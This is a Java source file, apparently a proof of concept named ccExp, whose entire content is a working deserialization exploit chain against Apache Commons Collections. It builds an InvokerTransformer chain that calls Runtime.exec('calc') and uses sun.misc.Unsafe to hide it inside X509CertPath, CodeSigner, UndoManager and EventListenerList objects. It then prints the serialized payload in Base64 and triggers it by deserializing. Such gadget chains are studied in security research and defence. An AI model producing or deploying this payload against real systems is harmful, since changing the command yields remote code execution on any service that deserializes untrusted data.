1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package com.web; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.list.LazyList; import org.apache.commons.collections.list.TransformedList; import org.apache.commons.collections.map.ListOrderedMap; import sun.misc.Unsafe; import sun.security.provider.certpath.X509CertPath; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.CodeSigner; import java.util.*; public class ccExp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); ArrayList<Object> list = new ArrayList<>(); list.add(null); List decorate1 = TransformedList.decorate(list, chainedTransformer); List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer)); HashMap<Object, Object> map = new HashMap<>(); ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map); Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe) field.get((Object) null); unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate); X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class); unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate); Object o1 = unsafe.allocateInstance(CodeSigner.class); unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o); EventListenerList list2 = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) getFieldValue(manager, "edits"); vector.add(o1); unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager}); ByteArrayOutputStream bao = new ByteArrayOutputStream(); new ObjectOutputStream(bao).writeObject(list2); System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray())); ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray()); new ObjectInputStream(bin).readObject(); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Field getField(Class<?> clazz, String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException var4) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
|